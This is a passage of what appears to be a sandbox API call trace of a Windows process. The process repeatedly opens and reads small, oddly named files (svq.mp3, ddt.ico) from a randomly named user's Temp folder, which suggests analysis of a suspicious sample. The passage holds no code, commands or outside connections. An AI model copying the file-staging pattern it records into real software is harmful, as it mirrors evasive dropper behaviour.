nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.830] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.830] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.830] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.830] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.830] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.830] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.830] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.830] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.830] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.830] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.830] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.830] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.830] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.830] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.831] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.831] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.831] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.831] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.831] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.831] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.831] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.831] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.831] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.831] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.831] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.832] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.832] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.832] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.832] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.832] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.832] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.832] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.832] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.832] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.832] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.833] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.833] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.833] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.833] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.833] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.833] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.833] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.833] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.833] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.833] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.833] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.833] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.834] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.834] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.834] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.834] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.834] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.834] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.834] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.834] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.834] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.834] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.835] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.835] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.835] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.835] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.835] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.835] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.835] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.835] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.835] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.836] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.836] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.836] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.836] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.836] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.836] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.836] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.836] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.836] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.836] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.837] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.837] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.837] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.837] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.837] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.837] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.837] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.837] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.837] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.837] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.837] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.837] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.838] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.838] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.838] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.838] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.838] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.838] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.838] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.838] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.838] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.838] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.838] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.839] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.839] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.839] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.839] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.839] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.839] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 